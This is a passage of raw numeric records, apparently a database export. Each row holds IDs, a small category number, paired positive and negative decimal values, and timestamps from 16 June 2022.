14:50:12.45342+00 +62024,4,15103,1.402276014,-1.402276014,2022-06-16 14:50:12.454171+00 +62025,4,15102,1.443500779,-1.443500779,2022-06-16 14:50:12.454793+00 +59472,6,14766,2.402657922,-2.402657922,2022-06-16 14:40:12.841077+00 +62240,2,15024,1.891714412,0,2022-06-16 14:51:05.192269+00 +62273,2,15087,1.492433544,-1.492433544,2022-06-16 14:51:05.916825+00 +59770,7,14702,14.71943131,-14.71943131,2022-06-16 14:41:28.361652+00 +62642,2,15085,2.778954327,0,2022-06-16 14:52:24.420974+00 +62680,6,15149,0.511800566,0,2022-06-16 14:52:26.663022+00 +62691,4,15089,7.506017274,-7.506017274,2022-06-16 14:52:27.740378+00 +62698,4,15065,6.96430101,-6.96430101,2022-06-16 14:52:35.333505+00 +62699,4,15081,6.884983049,-6.884983049,2022-06-16 14:52:35.334778+00 +62807,6,15080,23.39013706,-23.39013706,2022-06-16 14:52:58.172068+00 +62823,3,15099,3.251868214,0,2022-06-16 14:53:00.204333+00 +62832,2,15104,3.243093887,-3.243093887,2022-06-16 14:53:05.241189+00 +62854,2,15135,7.284098198,-7.284098198,2022-06-16 14:53:05.635434+00 +60015,6,14845,1.350781335,-1.350781335,2022-06-16 14:42:21.010744+00 +60038,4,14739,5.146801989,-5.146801989,2022-06-16 14:42:27.940902+00 +56699,6,14315,2.123158576,-2.123158576,2022-06-16 14:28:29.587881+00 +56725,1,14291,7.497593727,-7.497593727,2022-06-16 14:28:38.979458+00 +56340,4,14112,5.377086476,-5.377086476,2022-06-16 14:26:46.263413+00 +57597,6,14477,10.36367914,-10.36367914,2022-06-16 14:32:06.77972+00 +57607,4,14510,1.366402234,-1.366402234,2022-06-16 14:32:13.790116+00 +57608,4,14494,4.861237582,-4.861237582,2022-06-16 14:32:13.791514+00 +57609,4,14526,1.505611291,-1.505611291,2022-06-16 14:32:13.792327+00 +57611,4,14527,1.413910805,-1.413910805,2022-06-16 14:32:13.793228+00 +57612,4,14413,12.222923,-12.222923,2022-06-16 14:32:13.794147+00 +57613,4,14429,5.441480374,-5.441480374,2022-06-16 14:32:13.794989+00 +57614,4,14461,1.792611034,-1.792611034,2022-06-16 14:32:13.795753+00 +57615,4,14445,0.680851872,0,2022-06-16 14:32:13.796504+00 +60961,6,14891,1.680799068,-1.680799068,2022-06-16 14:46:16.138149+00 +57684,2,14445,2.624924594,0,2022-06-16 14:32:19.419172+00 +57711,1,14419,7.455136889,-7.455136889,2022-06-16 14:32:23.981802+00 +61023,1,14890,1.609353205,-1.609353205,2022-06-16 14:46:24.140132+00 +61024,1,14907,0.672699917,0,2022-06-16 14:46:24.141487+00 +61025,1,14891,0.75084381,-0.75084381,2022-06-16 14:46:24.142323+00 +58105,3,14574,6.617569003,-6.617569003,2022-06-16 14:34:06.371724+00 +58324,2,14558,6.858023005,-6.858023005,2022-06-16 14:35:05.486511+00 +58608,4,14496,5.130885266,-5.130885266,2022-06-16 14:36:14.670521+00 +58631,6,14622,8.711172068,-8.711172068,2022-06-16 14:36:22.231446+00 +61728,6,14960,1.490862942,0,2022-06-16 14:49:13.007961+00 +61758,6,14695,23.47031342,-23.47031342,2022-06-16 14:49:17.809243+00 +58701,1,14555,5.450439244,-5.450439244,2022-06-16 14:36:48.053617+00 +58702,1,14588,10.80083544,-10.80083544,2022-06-16 14:36:48.056778+00 +58703,1,14572,11.05514936,-11.05514936,2022-06-16 14:36:48.057625+00 +58704,1,14556,10.75384238,-10.75384238,2022-06-16 14:36:48.05838+00 +58705,1,14579,10.4460451,-10.4460451,2022-06-16 14:36:48.059162+00 +61759,6,14759,23.39456062,-23.39456062,2022-06-16 14:49:17.810414+00 +61760,6,14823,23.31877484,-23.31877484,2022-06-16 14:49:17.811812+00 +58795,2,14639,2.025816162,-2.025816162,2022-06-16 14:37:05.955658+00 +61761,6,14887,23.24296109,-23.24296109,2022-06-16 14:49:17.812688+00 +58831,2,14587,2.51640408,-2.51640408,2022-06-16 14:37:14.535826+00 +61762,6,14951,23.16712437,-23.16712437,2022-06-16 14:49:17.813435+00 +61763,6,15015,23.09126964,-23.09126964,2022-06-16 14:49:17.814446+00 +61795,7,14960,12.27138719,0,2022-06-16 14:49:20.661239+00 +61854,7,14954,3.17828896,-3.17828896,2022-06-16 14:49:42.369461+00 +61980,3,15023,4.932829838,-4.932829838,2022-06-16 14:50:07.189784+00 +61981,3,15087,4.877832112,-4.877832112,2022-06-16 14:50:07.193269+00 +59434,4,14704,0.624632549,0,2022-06-16 14:40:09.755188+00 +59435,4,14750,4.741747475,-4.741747475,2022-06-16 14:40:09.758652+00 +59436,4,14720,1.048179771,-1.048179771,2022-06-16 14:40:09.759585+00 +59437,4,14766,1.192083235,-1.192083235,2022-06-16 14:40:09.76034+00 +59438,4,14782,1.506875825,-1.506875825,2022-06-16 14:40:09.761106+00 +59492,1,14766,1.193506872,-1.193506872,2022-06-16 14:40:15.081607+00 +59493,1,14767,1.415798729,-1.415798729,2022-06-16 14:40:15.082979+00 +59494,1,14782,1.509816578,-1.509816578,2022-06-16 14:40:15.083766+00 +59495,1,14750,4.741552733,-4.741552733,2022-06-16 14:40:15.084453+00 +59496,1,14783,1.646385971,-1.646385971,2022-06-16 14:40:15.085174+00 +59497,1,14751,5.818076425,-5.818076425,2022-06-16 14:40:15.085865+00 +59540,2,14701,2.667689411,0,2022-06-16 14:40:24.416363+00 +59550,1,14684,10.63386505,-10.63386505,2022-06-16 14:40:27.082721+00 +59551,1,14683,5.425764817,-5.425764817,2022-06-16 14:40:27.08375+00 +59552,1,14700,10.89571933,-10.89571933,2022-06-16 14:40:27.08443+00 +59553,1,14715,0.676516376,0,2022-06-16 14:40:27.085131+00 +59554,1,14707,10.36328462,-10.36328462,2022-06-16 14:40:27.085788+00 +59555,1,14699,0.859936519,-0.859936519,2022-06-16 14:40:27.086482+00 +59556,1,14716,10.60708725,-10.60708725,2022-06-16 14:40:27.08714+00 +59569,4,14675,5.190635822,-5.190635822,2022-06-16 14:40:30.421376+00 +59582,4,14648,9.282845043,-9.282845043,2022-06-16 14:40:31.996633+00 +62328,6,15018,3.819306785,-3.819306785,2022-06-16 14:51:12.169374+00 +59660,2,14720,3.093546778,-3.093546778,2022-06-16 14:41:05.32687+00 +59661,2,14681,9.15155483,-9.15155483,2022-06-16 14:41:05.330568+00 +59662,2,14682,11.09418244,-11.09418244,2022-06-16 14:41:05.33144+00 +59663,2,14698,2.08109572,-2.08109572,2022-06-16 14:41:05.332211+00 +59664,2,14706,10.67034085,-10.67034085,2022-06-16 14:41:05.332978+00 +56341,1,14235,5.527019183,-5.527019183,2022-06-16 14:26:47.933408+00 +56342,1,14259,10.67454284,-10.67454284,2022-06-16 14:26:47.934795+00 +60016,1,14746,9.692709296,-9.692709296,2022-06-16 14:42:21.110633+00 +60017,1,14769,4.349066572,-4.349066572,2022-06-16 14:42:21.114046+00 +60018,1,14805,9.855534638,-9.855534638,2022-06-16 14:42:21.114989+00 +60019,1,14762,1.699096289,-1.699096289,2022-06-16 14:42:21.115807+00 +60020,1,14745,3.999523209,-3.999523209,2022-06-16 14:42:21.116614+00 +60021,1,14761,3.951329917,-3.951329917,2022-06-16 14:42:21.117396+00 +57059,2,14321,10.41174461,-10.41174461,2022-06-16 14:30:05.142408+00 +57242,1,14355,7.471684225,-7.471684225,2022-06-16 14:30:32.982056+00 +57253,1,14400,0.809252209,-0.809252209,2022-06-16 14:30:41.981139+00 +57254,1,14368,4.082519042,-4.082519042,2022-06-16 14:30:41.982677+00 +57306,1,14431,5.973638518,-5.973638518,2022-06-16 14:30:50.981447+00 +64379,6,15280,1.390160519,0,2022-06-16 14:58:21.318738+00 +64404,4,15243,13.02296263,-13.02296263,2022-06-16 14:58:23.489953+00 +64405,4,15259,3.572947421,-3.572947421,2022-06-16 14:58:23.491322+00 +64406,4,15275,0.4238619,0,2022-06-16 14:58:23.492382+00 +57685,1,14450,9.568444167,-9.568444167,2022-06-16 14:32:20.983992+00 +57712,1,14526,1.508945769,-1.508945769,2022-06-16 14:32:26.981273+00 +57713,1,14510,1.367010649,-1.367010649,2022-06-16 14:32:26.982679+00 +57714,1,14494,4.861847755,-4.861847755,2022-06-16 14:32:26.98355+00 +64424,2,15338,1.629487785,-1.629487785,2022-06-16 14:58:29.477336+00 +58380,6,14559,9.771547714,-9.771547714,2022-06-16 14:35:18.581584+00 +61504,1,14971,0.670431406,0,2022-06-16 14:48:15.197132+00 +61505,1,14955,0.699992211,-0.699992211,2022-06-16 14:48:15.200516+00 +61506,1,14954,1.577979419,-1.577979419,2022-06-16 14:48:15.201313+00 +61522,1,15039,1.675982046,-1.675982046,2022-06-16 14:48:21.154955+00 +61523,1,15023,1.179063467,-1.179063467,2022-06-16 14:48:21.156164+00 +58870,6,14506,4.299891937,-4.299891937,2022-06-16 14:37:39.226488+00 +61819,7,15023,13.70599407,-13.70599407,2022-06-16 14:49:30.478465+00 +59232,2,14718,2.286220016,-2.286220016,2022-06-16 14:39:05.729753+00 +62356,2,15019,2.306087138,0,2022-06-16 14:51:14.493329+00 +59690,2,14782,2.245661126,-2.245661126,2022-06-16 14:41:05.961635+00 +59715,2,14715,2.29458139,0,2022-06-16 14:41:14.447953+00 +62495,3,15018,3.604739612,-3.604739612,2022-06-16 14:51:59.43796+00 +62693,6,15165,1.29479424,-1.29479424,2022-06-16 14:52:28.629191+00 +62715,1,15072,3.872417479,-3.872417479,2022-06-16 14:52:36.220735+00 +62716,1,15150,0.818085288,-0.818085288,2022-06-16 14:52:36.223974+00 +62717,1,15166,1.496492529,-1.496492529,2022-06-16 14:52:36.224794+00 +62773,7,15087,13.1012936,-13.1012936,2022-06-16 14:52:44.996415+00 +62808,4,14944,5.217242553,-5.217242553,2022-06-16 14:52:59.424978+00 +62856,2,15150,1.220746707,-1.220746707,2022-06-16 14:53:05.666772+00 +62913,2,15083,2.311061309,0,2022-06-16 14:53:14.512746+00 +60022,4,14771,7.532474104,-7.532474104,2022-06-16 14:42:23.526402+00 +56344,6,14293,5.519676417,-5.519676417,2022-06-16 14:26:48.51161+00 +60023,4,14763,0.540243789,-0.540243789,2022-06-16 14:42:23.529914+00 +60024,4,14779,0.44121826,0,2022-06-16 14:42:23.530796+00 +56820,2,14313,9.680653462,-9.680653462,2022-06-16 14:29:07.358175+00 +56821,2,14314,2.374649096,-2.374649096,2022-06-16 14:29:07.361511+00 +60025,4,14747,3.717864735,-3.717864735,2022-06-16 14:42:23.531625+00 +60043,1,14752,3.918106475,-3.918106475,2022-06-16 14:42:30.084884+00 +60044,1,14814,4.745361238,-4.745361238,2022-06-16 14:42:30.086194+00 +60045,1,14830,1.119681001,-1.119681001,2022-06-16 14:42:30.087097+00 +57145,2,14381,2.603151742,0,2022-06-16 14:30:19.467451+00 +60046,1,14846,1.519046583,-1.519046583,2022-06-16 14:42:30.087823+00 +60080,6,14847,3.07678365,-3.07678365,2022-06-16 14:42:39.946706+00 +64023,2,15295,2.265951171,-2.265951171,2022-06-16 14:57:06.97042+00 +64024,2,15193,8.364118482,-8.364118482,2022-06-16 14:57:06.973675+00 +60252,6,14736,26.17937864,-26.17937864,2022-06-16 14:43:25.298854+00 +57763,6,14495,9.763624445,-9.763624445,2022-06-16 14:32:51.219045+00 +58180,6,14512,1.653686374,0,2022-06-16 14:34:25.261694+00 +61507,7,14704,12.33699157,0,2022-06-16 14:48:15.666334+00 +61678,2,14960,1.892657705,0,2022-06-16 14:49:05.349793+00 +61679,2,14937,8.746010715,-8.746010715,2022-06-16 14:49:05.352914+00 +58871,4,14577,8.121377806,-8.121377806,2022-06-16 14:37:39.839467+00 +58889,1,14613,9.974598403,-9.974598403,2022-06-16 14:37:45.036991+00 +61680,2,14938,10.87087342,-10.87087342,2022-06-16 14:49:05.353708+00 +62114,6,15070,8.326911295,-8.326911295,2022-06-16 14:50:35.268818+00 +62138,1,14995,7.263985065,-7.263985065,2022-06-16 14:50:42.14151+00 +62186,3,15019,3.252674817,0,2022-06-16 14:50:58.390363+00 +59667,2,14750,6.732648621,-6.732648621,2022-06-16 14:41:05.390435+00 +62695,7,15088,12.12655179,0,2022-06-16 14:52:29.826721+00 +62826,4,15159,10.74098856,-10.74098856,2022-06-16 14:53:00.905193+00 +62877,2,15167,2.245817604,-2.245817604,2022-06-16 14:53:06.21734+00 +62941,6,15082,3.763590379,-3.763590379,2022-06-16 14:53:28.799972+00 +56348,1,14293,10.19465542,-10.19465542,2022-06-16 14:26:50.931122+00 +56349,1,14227,7.523568172,-7.523568172,2022-06-16 14:26:53.957203+00 +60600,3,14827,3.750887452,-3.750887452,2022-06-16 14:44:54.996053+00 +57245,6,14413,10.41173619,-10.41173619,2022-06-16 14:30:34.47085+00 +57284,7,14447,16.61033349,-16.61033349,2022-06-16 14:30:46.613763+00 +60682,2,14879,7.327568969,-7.327568969,2022-06-16 14:45:05.66697+00 +60823,6,14800,26.05806866,-26.05806866,2022-06-16 14:45:37.570466+00 +57600,1,14525,3.026010932,-3.026010932,2022-06-16 14:32:08.98448+00 +57601,1,14509,1.174591418,0,2022-06-16 14:32:08.987857+00 +57687,6,14525,1.410289503,-1.410289503,2022-06-16 14:32:21.044121+00 +57894,6,14432,11.48286444,-11.48286444,2022-06-16 14:33:14.008379+00 +57930,7,14510,15.90677288,-15.90677288,2022-06-16 14:33:26.476263+00 +61345,2,14954,1.915249106,-1.915249106,2022-06-16 14:47:53.270351+00 +58249,6,14496,11.42465062,-11.42465062,2022-06-16 14:34:50.137006+00 +58283,1,14513,4.512516076,-4.512516076,2022-06-16 14:35:00.033276+00 +58284,1,14489,4.148510369,-4.148510369,2022-06-16 14:35:00.0348+00 +58285,1,14490,9.770527465,-9.770527465,2022-06-16 14:35:00.035913+00 +58286,1,14549,10.01779577,-10.01779577,2022-06-16 14:35:00.037016+00 +58287,1,14514,9.513114991,-9.513114991,2022-06-16 14:35:00.038057+00 +58288,1,14505,4.098071598,-4.098071598,2022-06-16 14:35:00.039226+00 +61511,4,14954,3.221107707,-3.221107707,2022-06-16 14:48:18.746828+00 +58516,3,14482,22.53312872,-22.53312872,2022-06-16 14:36:01.107533+00 +61682,2,14961,9.353174543,-9.353174543,2022-06-16 14:49:05.384024+00 +61683,2,14962,10.40580969,-10.40580969,2022-06-16 14:49:05.387394+00 +58755,6,14544,26.49528819,-26.49528819,2022-06-16 14:37:03.589964+00 +58833,7,14570,3.618946993,-3.618946993,2022-06-16 14:37:18.842758+00 +58970,3,14655,6.80734892,-6.80734892,2022-06-16 14:38:04.053197+00 +59041,6,14635,1.912319621,-1.912319621,2022-06-16 14:38:11.733861+00 +59067,4,14643,7.656541063,-7.656541063,2022-06-16 14:38:21.656575+00 +59068,4,14635,0.584846519,-0.584846519,2022-06-16 14:38:21.658003+00 +59069,4,14603,13.28838661,-13.28838661,2022-06-16 14:38:21.658944+00 +59070,4,14651,0.472323561,-0.472323561,2022-06-16 14:38:21.65985+00 +59071,4,14619,3.765417939,-3.765417939,2022-06-16 14:38:21.660743+00 +59083,4,14611,5.224810808,-5.224810808,2022-06-16 14:38:29.22408+00 +59135,6,14640,1.592110257,0,2022-06-16 14:38:45.450522+00 +62245,2,15040,3.17895423,-3.17895423,2022-06-16 14:51:05.299951+00 +59352,3,14634,4.042834506,-4.042834506,2022-06-16 14:39:59.806201+00 +62246,2,15001,8.666629327,-8.666629327,2022-06-16 14:51:05.303122+00 +62247,2,15002,10.79593166,-10.79593166,2022-06-16 14:51:05.303974+00 +62248,2,15025,9.269135171,-9.269135171,2022-06-16 14:51:05.304743+00 +62540,3,15086,4.909624291,-4.909624291,2022-06-16 14:52:05.939585+00 +59829,6,14696,24.24296873,-24.24296873,2022-06-16 14:41:46.728262+00 +62666,6,15150,1.658379092,-1.658379092,2022-06-16 14:52:25.950229+00 +62719,6,15143,22.8757103,-22.8757103,2022-06-16 14:52:36.261945+00 +62827,1,15167,1.657416163,-1.657416163,2022-06-16 14:53:03.232803+00 +62871,2,15166,2.217052515,-2.217052515,2022-06-16 14:53:06.075809+00 +62879,2,15151,1.405188593,-1.405188593,2022-06-16 14:53:06.24582+00 +62947,6,15072,9.907233382,-9.907233382,2022-06-16 14:53:38.356062+00 +64614,2,15342,1.068274474,0,2022-06-16 14:59:06.351506+00 +63046,3,14829,3.448691508,0,2022-06-16 14:53:52.161725+00 +63056,3,15082,3.550216345,-3.550216345,2022-06-16 14:53:59.492636+00 +63068,2,15146,1.745014195,-1.745014195,2022-06-16 14:54:01.987277+00 +63111,4,15214,0.736918873,-0.736918873,2022-06-16 14:54:08.426831+00 +63112,4,15198,4.583378225,-4.583378225,2022-06-16 14:54:08.427986+00 +63113,4,15230,1.458505398,-1.458505398,2022-06-16 14:54:08.428813+00 +63154,6,15230,2.884769037,-2.884769037,2022-06-16 14:54:10.846959+00 +64384,6,15296,2.462516721,-2.462516721,2022-06-16 14:58:21.531963+00 +64409,1,15296,0.830639381,-0.830639381,2022-06-16 14:58:24.209401+00 +64410,1,15280,0.459660708,0,2022-06-16 14:58:24.210397+00 +63071,3,15230,7.639177597,-7.639177597,2022-06-16 14:54:05.001522+00 +63076,3,15166,7.574401463,-7.574401463,2022-06-16 14:54:05.131061+00 +63081,3,15167,6.904554971,-6.904554971,2022-06-16 14:54:05.271127+00 +63103,3,15150,4.515634588,-4.515634588,2022-06-16 14:54:07.069029+00 +63104,3,15214,4.380317437,-4.380317437,2022-06-16 14:54:07.073942+00 +63114,1,15229,2.875566335,-2.875566335,2022-06-16 14:54:09.218694+00 +63115,1,15213,1.171695994,0,2022-06-16 14:54:09.222237+00 +63142,6,15214,1.453099982,-0.036710951,2022-06-16 14:54:10.573723+00 +63150,6,15215,1.784939681,-1.784939681,2022-06-16 14:54:10.7239+00 +63171,6,15231,2.816566195,-2.816566195,2022-06-16 14:54:11.128895+00 +63178,4,15168,1.133964879,-1.133964879,2022-06-16 14:54:11.810145+00 +63179,4,15117,11.80106226,-11.80106226,2022-06-16 14:54:11.813462+00 +63180,4,15133,4.903231817,-4.903231817,2022-06-16 14:54:11.814329+00 +63181,4,15165,1.614318891,-1.614318891,2022-06-16 14:54:11.815145+00 +63182,4,15149,0.643858605,0,2022-06-16 14:54:11.815926+00 +63183,4,15199,4.812612127,-4.812612127,2022-06-16 14:54:11.816854+00 +63184,4,15215,0.855524742,-0.855524742,2022-06-16 14:54:11.817604+00 +63185,4,15231,1.377162608,-1.377162608,2022-06-16 14:54:11.81827+00 +63187,1,15132,10.09440756,-10.09440756,2022-06-16 14:54:12.192634+00 +63188,1,15148,10.34835971,-10.34835971,2022-06-16 14:54:12.195937+00 +63189,1,15164,10.07077194,-10.07077194,2022-06-16 14:54:12.19683+00 +63194,2,15199,7.258525672,-7.258525672,2022-06-16 14:54:14.420039+00 +63211,6,15147,1.510999463,0,2022-06-16 14:54:14.75954+00 +63239,4,15146,2.994171815,-2.994171815,2022-06-16 14:54:17.392783+00 +63261,1,15123,7.212703889,-7.212703889,2022-06-16 14:54:24.193266+00 +64388,6,15326,8.144704494,-8.144704494,2022-06-16 14:58:21.918824+00 +63218,6,15163,1.510438207,0,2022-06-16 14:54:14.964248+00 +63244,4,15115,13.10033488,-13.10033488,2022-06-16 14:54:19.186814+00 +63245,4,15163,0.428125832,0,2022-06-16 14:54:19.188033+00 +63225,1,15153,4.121466105,-4.121466105,2022-06-16 14:54:15.219395+00 +63226,1,15146,1.446880054,-1.446880054,2022-06-16 14:54:15.222751+00 +63227,1,15129,3.792239578,-3.792239578,2022-06-16 14:54:15.223592+00 +63228,1,15189,9.618560361,-9.618560361,2022-06-16 14:54:15.224349+00 +63229,1,15145,3.747078881,-3.747078881,2022-06-16 14:54:15.2251+00 +63230,1,15130,9.30929455,-9.30929455,2022-06-16 14:54:15.225882+00 +63231,1,15154,8.899231714,-8.899231714,2022-06-16 14:54:15.226676+00 +63238,7,15150,10.86118453,0,2022-06-16 14:54:16.375857+00 +63240,1,15131,5.336474238,-5.336474238,2022-06-16 14:54:18.216556+00 +63241,1,15155,10.08541026,-10.08541026,2022-06-16 14:54:18.220045+00 +63242,1,15147,0.664985753,0,2022-06-16 14:54:18.221071+00 +63243,1,15163,0.664898384,0,2022-06-16 14:54:18.22189+00 +63258,4,15131,3.602515603,-3.602515603,2022-06-16 14:54:22.286138+00 +63259,4,15123,4.991415109,-4.991415109,2022-06-16 14:54:22.287493+00 +63260,4,15147,0.427436915,0,2022-06-16 14:54:22.288464+00 +63266,2,15149,2.784663838,0,2022-06-16 14:54:24.428775+00 +63268,6,15198,8.264996331,-8.264996331,2022-06-16 14:54:25.526826+00 +63285,1,15230,1.477670055,-1.477670055,2022-06-16 14:54:27.219081+00 +63286,1,15198,4.585087169,-4.585087169,2022-06-16 14:54:27.222147+00 +63287,1,15214,0.715287284,0,2022-06-16 14:54:27.222948+00 +63289,6,15181,10.05007911,-10.05007911,2022-06-16 14:54:32.570581+00 +63290,1,15136,3.862491744,-3.862491744,2022-06-16 14:54:36.234783+00 +63291,1,15168,0.812468939,-0.812468939,2022-06-16 14:54:36.237954+00 +63292,1,15199,5.572975493,-5.572975493,2022-06-16 14:54:36.238869+00 +63294,6,15189,4.895968384,-4.895968384,2022-06-16 14:54:37.579094+00 +63296,6,15197,3.981927083,-3.981927083,2022-06-16 14:54:39.614009+00 +63301,6,15168,2.468731368,-2.468731368,2022-06-16 14:54:40.692697+00 +63302,1,15152,0.460562962,0,2022-06-16 14:54:42.193544+00 +63303,2,15210,1.728785771,-1.728785771,2022-06-16 14:54:42.379321+00 +63315,7,15146,2.946206994,-2.946206994,2022-06-16 14:54:44.233681+00 +63317,6,15213,0.509833328,0,2022-06-16 14:54:44.724165+00 +63318,1,15215,1.01423381,-1.01423381,2022-06-16 14:54:45.219876+00 +63319,1,15231,1.629799421,-1.629799421,2022-06-16 14:54:45.223097+00 +63321,1,14888,13.93252564,-13.93252564,2022-06-16 14:54:46.624646+00 +63322,1,14952,13.88897521,-13.88897521,2022-06-16 14:54:46.627993+00 +63323,1,15080,13.84559714,-13.84559714,2022-06-16 14:54:46.62879+00 +63324,1,15016,13.80239107,-13.80239107,2022-06-16 14:54:46.629547+00 +63326,6,15229,1.284008884,-1.284008884,2022-06-16 14:54:46.710214+00 +63328,6,15199,8.779583357,-8.779583357,2022-06-16 14:54:52.551785+00 +63364,4,15145,6.835028063,-6.835028063,2022-06-16 14:54:54.288332+00 +63365,4,15129,6.895910195,-6.895910195,2022-06-16 14:54:54.291803+00 +64036,2,15211,2.312981475,0,2022-06-16 14:57:14.456143+00 +63370,6,15191,18.89037738,-18.89037738,2022-06-16 14:54:58.136358+00 +63393,6,15152,1.431672787,0,2022-06-16 14:54:59.245689+00 +63394,4,15223,10.75416768,-10.75416768,2022-06-16 14:55:00.241639+00 +63395,4,14903,10.71858469,-10.71858469,2022-06-16 14:55:00.244788+00 +63400,3,15147,3.257760521,0,2022-06-16 14:55:00.751036+00 +63410,3,15163,3.254383411,0,2022-06-16 14:55:01.274694+00 +63411,7,15151,12.70056513,-12.70056513,2022-06-16 14:55:01.67011+00 +63416,6,15136,9.849138484,-9.849138484,2022-06-16 14:55:02.13422+00 +63417,4,15153,7.413021571,-7.413021571,2022-06-16 14:55:02.539469+00 +63422,2,15152,1.886640744,0,2022-06-16 14:55:05.753224+00 +63427,2,15168,3.207066265,-3.207066265,2022-06-16 14:55:05.868194+00 +63428,2,15154,10.21583484,-10.21583484,2022-06-16 14:55:05.871209+00 +63430,2,15198,6.490640234,-6.490640234,2022-06-16 14:55:05.89759+00 +63442,1,15197,8.055006076,-8.055006076,2022-06-16 14:55:06.19639+00 +63447,2,15214,1.073419877,0,2022-06-16 14:55:06.327451+00 +63453,2,15215,1.325439796,-1.325439796,2022-06-16 14:55:06.471677+00 +63454,2,15230,2.185786485,-2.185786485,2022-06-16 14:55:06.475411+00 +63465,2,15231,2.244040757,-2.244040757,2022-06-16 14:55:06.76178+00 +63466,2,15129,8.466468489,-8.466468489,2022-06-16 14:55:06.76517+00 +63467,2,15130,10.62812502,-10.62812502,2022-06-16 14:55:06.766007+00 +63483,2,15147,2.315996702,0,2022-06-16 14:55:14.486369+00 +63484,2,15145,8.372465877,-8.372465877,2022-06-16 14:55:14.489646+00 +63493,2,15163,2.31448794,0,2022-06-16 14:55:14.688343+00 +63617,6,15144,23.20215394,-23.20215394,2022-06-16 14:55:45.494027+00 +63618,3,14893,3.463890981,0,2022-06-16 14:55:52.371944+00 +63619,6,15146,3.687346605,-3.687346605,2022-06-16 14:55:56.947099+00 +63620,1,14868,11.40027419,-11.40027419,2022-06-16 14:55:57.224182+00 +64041,2,15227,2.311477302,0,2022-06-16 14:57:14.564263+00 +63625,6,15120,25.56944612,-25.56944612,2022-06-16 14:55:59.1051+00 +63633,3,15146,3.477821976,-3.477821976,2022-06-16 14:56:00.724657+00 +63637,3,15294,7.562613184,-7.562613184,2022-06-16 14:56:04.530927+00 +63647,2,15153,9.043138977,-9.043138977,2022-06-16 14:56:04.677141+00 +63655,3,15231,6.931667296,-6.931667296,2022-06-16 14:56:04.782253+00 +63679,6,15245,10.01927114,-10.01927114,2022-06-16 14:56:05.475553+00 +63691,6,15263,8.764990331,-8.764990331,2022-06-16 14:56:06.258459+00 +63713,3,15215,4.350831248,-4.350831248,2022-06-16 14:56:06.72822+00 +63725,6,15295,2.798757257,-2.798757257,2022-06-16 14:56:07.222144+00 +63727,6,15294,2.868230903,-2.868230903,2022-06-16 14:56:07.255771+00 +63747,6,15255,18.84235864,-18.84235864,2022-06-16 14:56:11.575434+00 +63757,6,15279,1.631791434,-1.631791434,2022-06-16 14:56:12.059592+00 +63761,6,15211,1.513626944,0,2022-06-16 14:56:12.114572+00 +63763,4,15262,4.552899591,-4.552899591,2022-06-16 14:56:12.144746+00 +63764,4,15294,1.445560379,-1.445560379,2022-06-16 14:56:12.148337+00 +63765,4,15278,0.710368631,0,2022-06-16 14:56:12.149374+00 +63767,4,15216,0.654572232,0,2022-06-16 14:56:12.150584+00 +63768,4,15232,1.139424213,-1.139424213,2022-06-16 14:56:12.151768+00 +63769,4,15181,11.74637275,-11.74637275,2022-06-16 14:56:12.152768+00 +63770,4,15197,4.867031537,-4.867031537,2022-06-16 14:56:12.153688+00 +63771,4,15229,1.604855106,-1.604855106,2022-06-16 14:56:12.15437+00 +63772,4,15213,0.641482953,0,2022-06-16 14:56:12.155163+00 +63773,4,15263,4.752128468,-4.752128468,2022-06-16 14:56:12.155877+00 +63774,4,15279,0.781904175,-0.781904175,2022-06-16 14:56:12.156512+00 +63775,4,15295,1.366392264,-1.366392264,2022-06-16 14:56:12.158422+00 +63777,1,15227,0.665584955,0,2022-06-16 14:56:12.198172+00 +63778,1,15211,0.66549741,0,2022-06-16 14:56:12.199399+00 +63779,1,15219,10.0601053,-10.0601053,2022-06-16 14:56:12.200181+00 +63780,1,15195,5.312544747,-5.312544747,2022-06-16 14:56:12.200958+00 +63789,6,15227,1.516813771,0,2022-06-16 14:56:12.355134+00 +63793,6,15261,3.954418571,-3.954418571,2022-06-16 14:56:12.678708+00 +63795,2,15209,8.32382153,-8.32382153,2022-06-16 14:56:14.330611+00 +63807,1,15294,1.452567164,-1.452567164,2022-06-16 14:56:15.222795+00 +63808,1,15262,4.566948857,-4.566948857,2022-06-16 14:56:15.226893+00 +63809,1,15278,0.714319203,0,2022-06-16 14:56:15.227963+00 +63810,4,15125,5.939327674,-5.939327674,2022-06-16 14:56:15.633031+00 +63811,4,15210,2.929298548,-2.929298548,2022-06-16 14:56:17.010109+00 +63813,6,15277,0.508343562,0,2022-06-16 14:56:17.9134+00 +63833,7,15210,2.889066663,-2.889066663,2022-06-16 14:56:26.149911+00 +63816,6,15293,1.277392025,-1.277392025,2022-06-16 14:56:19.880836+00 +63817,4,15211,0.427404309,0,2022-06-16 14:56:20.770162+00 +63834,2,15274,1.675175787,-1.675175787,2022-06-16 14:56:28.053604+00 +63835,1,15216,0.458034336,0,2022-06-16 14:56:30.196883+00 +63836,1,15210,1.39007619,-1.39007619,2022-06-16 14:56:30.198085+00 +63837,1,15295,1.625486563,-1.625486563,2022-06-16 14:56:30.198925+00 +63891,4,15193,6.844519427,-6.844519427,2022-06-16 14:56:53.578485+00 +63892,4,15217,7.358110183,-7.358110183,2022-06-16 14:56:53.579791+00 +63818,4,15227,0.42737171,0,2022-06-16 14:56:22.704715+00 +63819,4,15179,13.08394726,-13.08394726,2022-06-16 14:56:22.705999+00 +63820,4,15219,7.17080517,-7.17080517,2022-06-16 14:56:22.706948+00 +63821,4,15195,3.58233133,-3.58233133,2022-06-16 14:56:22.707775+00 +64408,6,15309,9.972327714,-9.972327714,2022-06-16 14:58:24.182232+00 +64425,1,15264,3.819831259,-3.819831259,2022-06-16 14:58:30.194974+00 +63822,7,15214,10.90954646,0,2022-06-16 14:56:22.771243+00 +63827,6,15200,9.722620695,-9.722620695,2022-06-16 14:56:22.919254+00 +63832,2,15213,2.791404793,0,2022-06-16 14:56:24.431342+00 +63840,1,15263,5.534378857,-5.534378857,2022-06-16 14:56:33.223696+00 +63841,1,15232,0.799658495,-0.799658495,2022-06-16 14:56:33.227677+00 +63852,1,15279,0.929573406,-0.929573406,2022-06-16 14:56:36.221722+00 +63853,1,15200,3.81173796,-3.81173796,2022-06-16 14:56:36.225012+00 +63864,4,15063,12.54391113,-12.54391113,2022-06-16 14:56:45.031461+00 +63865,4,15127,12.50109014,-12.50109014,2022-06-16 14:56:45.032932+00 +63866,4,15191,12.45846756,-12.45846756,2022-06-16 14:56:45.03391+00 +63867,4,15255,12.41604263,-12.41604263,2022-06-16 14:56:45.034935+00 +63873,6,15216,1.407756674,0,2022-06-16 14:56:51.681982+00 +63878,6,15232,2.403132617,-2.403132617,2022-06-16 14:56:51.88479+00 